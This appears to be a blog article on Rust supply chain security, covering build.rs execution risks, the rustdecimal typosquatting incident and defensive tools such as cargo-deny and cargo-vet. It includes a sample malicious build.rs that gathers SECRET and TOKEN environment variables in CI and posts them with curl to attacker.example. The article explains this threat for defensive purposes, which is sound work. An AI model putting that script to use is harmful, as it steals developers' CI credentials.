Memory Safety Doesn't Protect Your Build Pipeline: Rust and the Supply Chain Problem
Source: lobsters
Sylvain Kerkour published a piece today arguing that Rust’s supply chain is more fragile than its reputation suggests. The argument lands well, and it’s worth unpacking exactly where the exposure lives, because the technical shape of the problem in Rust is distinct from what you’d find in npm or PyPI, even if the headlines look similar.
The core confusion in the broader Rust community is that memory safety and supply chain safety are related. They are not. A memory-safe program that downloads and executes attacker-controlled code is not safe. A language that enforces ownership semantics at compile time cannot prevent a malicious crate from exfiltrating your AWS credentials at build time. These are different threat models, and conflating them leaves Rust developers with a misplaced sense of security that makes them less likely to audit what they’re actually running.
The build.rs Problem
The most technically interesting Rust-specific attack vector is build.rs, and it doesn’t get enough attention outside security circles. When a crate includes a build.rs file, Cargo compiles it and runs it natively on the developer’s machine, or CI runner, before the main build begins. That execution gets full filesystem access, network access, the ability to spawn subprocesses, and access to every environment variable in the current shell.
A simplified version of what a malicious build script looks like:
// build.rs
use std::process::Command;
fn main() {
if std::env::var("CI").is_ok() {
let secrets = std::env::vars()
.filter(|(k, _)| k.contains("SECRET") || k.contains("TOKEN"))
.map(|(k, v)| format!("{}={}", k, v))
.collect::<Vec<_>>()
.join("&");
let _ = Command::new("curl")
.args(["-s", "-X", "POST", "https://attacker.example/collect",
"-d", &secrets])
.output();
}
println!("cargo:rerun-if-changed=build.rs");
}
Legitimate crates use build.rs for things like compiling C FFI bindings with the cc crate, running bindgen to generate Rust bindings from C headers, or emitting linker flags. Roughly 30% of crates on crates.io include a build script, which makes it impractical to simply refuse all build.rs execution. There is no --no-build-scripts flag in stable Cargo.
One important distinction from npm’s postinstall scripts: build.rs is compiled Rust before it executes. That doesn’t make it safe; it makes it harder to statically analyze than a shell script or JavaScript. An obfuscated npm postinstall hook is at least legible to a text editor without tooling. A build.rs that conditionally fetches and executes a payload based on environment state is not obviously visible in a quick code review, and the compilation step adds a layer of indirection that slows down incident triage.
The rustdecimal Incident
This is not a theoretical concern. In May 2022, a crate named rustdecimal appeared on crates.io targeting CI environments. The legitimate decimal arithmetic library is rust_decimal (with an underscore); the malicious crate used the no-underscore variant as a name-confusion attack. Its build script checked for the GITLAB_CI environment variable and, if found, downloaded and executed a Meterpreter reverse shell. The crate was live for several hours before the crates.io team removed it, long enough to compromise any CI pipeline that happened to resolve a fresh dependency during that window.
The attack followed a well-understood pattern from the npm world, applied to Rust with minimal modification; the crate compiled cleanly, passed Cargo’s build pipeline, and the payload executed before any Rust safety guarantees became relevant. Nothing about the language prevented it.
How the Rust Ecosystem Compares
crates.io has roughly 150,000 crates. npm has over 2.5 million packages; PyPI around 500,000. The smaller absolute size reduces the attack surface somewhat, but Rust’s ecosystem has grown fast enough that namespace squatting is a real problem. crates.io uses a flat namespace with no concept of scoped packages like npm’s @org/package, which means an attacker can register variations of any popular crate name. Names like serde-fast, tokio-rs, or reqwests are fair game.
crates.io implemented mandatory two-factor authentication for maintainers of the top 1,000 most-downloaded crates in 2023, matching similar moves by npm and PyPI for their critical packages. That’s a meaningful improvement, but it leaves the long tail exposed. An attacker targeting a moderately popular crate with a compromised maintainer account faces no mandatory 2FA requirement today.
PyPI now has a Trusted Publishers system using OpenID Connect, which allows packages to be published from GitHub Actions workflows without long-lived API tokens. A similar RFC is in progress for crates.io but not yet deployed. Until it is, long-lived API tokens remain the standard publish mechanism, and those tokens show up in leaked .env files and CI logs with uncomfortable regularity.
One area where Rust genuinely trails: automated pre-publication malware scanning. PyPI partnered with Google to run malware detection on uploaded packages. crates.io has no equivalent. The security response model is reactive, which is why an incident like rustdecimal can sit live for hours before removal.
The Tooling That Actually Helps
Where the Rust ecosystem does better than most is in the auditing and policy enforcement tooling available after the fact. The combination of three tools forms a reasonable defense-in-depth stack.
cargo-audit queries the RustSec Advisory Database, which tracks over 700 advisories for vulnerable crate versions. It won’t catch novel attacks, but it catches known CVEs reliably:
cargo audit --deny warnings
That flag makes the check fail in CI on any advisory, which is the right default for production code.
cargo-deny goes further: you write a deny.toml that enforces policies on licenses, banned crates, and, critically, acceptable source registries:
[advisories]
vulnerability = "deny"
yanked = "deny"
[sources]
unknown-registry = "deny"
unknown-git = "deny"
The source restriction is the part that gets underused. It means any dependency that doesn’t come from crates.io, or your explicitly listed private registry, will fail the check. This prevents a class of attacks where a dependency is quietly swapped for a git-sourced version pointing at an attacker-controlled repository.
cargo-vet, developed by Mozilla for Firefox’s build pipeline, requires that every crate in your dependency tree has been explicitly reviewed. You can import audit sets from organizations you trust, so you’re not starting from zero:
cargo vet suggest # shows smallest unvetted crates first, prioritized by review cost
cargo vet inspect serde 1.0.195 # open crate for manual review
cargo vet certify serde 1.0.195 # mark as reviewed
Mozilla and Google both publish their audit sets publicly. If you trust their security processes, importing those sets cuts the initial review burden considerably. The model accumulates trust incrementally rather than requiring a one-time audit of every transitive dependency.
Reviewing the Build Surface Directly
None of the tooling above specifically surfaces build.rs risk. For that, you need to know which crates in your tree will execute arbitrary code at build time. You can enumerate them with:
cargo metadata --format-version 1 | \
jq -r '.packages[] | select(.build != null) | "\(.name) \(.version)"'
That list deserves explicit attention before any crate reaches production. For each entry, you want to read the actual build.rs and understand what it does. Crates that use build.rs only to emit cargo:rustc-link-lib directives are low risk. Crates that call Command::new, make network requests, or spawn subprocesses warrant closer scrutiny.
Also worth running cargo-supply-chain, which shows you how many distinct humans have publish rights to crates in your dependency tree:
cargo supply-chain publishers
On a moderate Axum-based web service, this number is routinely 500 or more. Each of those people is a potential vector through account compromise.
What the Tooling Can’t Fix
The systemic problem is transitive dependency count. A moderate Rust web service routinely pulls in 200-400 crates when you count all transitive dependencies. cargo-vet with imported audit sets helps, but you’re ultimately relying on someone else’s review quality for the bulk of that tree.
crates.io’s yank mechanism (cargo yank --version 1.0.1) marks a version as do-not-use for new resolution but still allows projects with it pinned in Cargo.lock to continue using it. That’s intentional for reproducibility, but it limits incident response. When a malicious version is discovered, projects that already have it pinned need a manual intervention to upgrade.
The Rust Foundation and the crates.io team have been working on Sigstore integration to cryptographically link published crates back to source commits, similar to npm’s provenance feature. That would make certain classes of publish-time attacks detectable after the fact, but it’s still in implementation phase.
Kerkour’s article is right that the community has been too comfortable dismissing supply chain risk as someone else’s problem. The borrow checker protects you from use-after-free bugs. It does not protect you from a build.rs that exfiltrates your CI secrets. The tooling to address this exists and is genuinely more mature than what most ecosystems offer, but it only helps if you actually use it. cargo-deny in CI with source restrictions, cargo-vet with imported audit sets, committed Cargo.lock files, and explicit review of build scripts are the concrete steps. None of them require waiting for crates.io to ship pre-publication malware scanning. They’re available today, and conflating memory safety with supply chain safety is exactly what prevents teams from deploying them.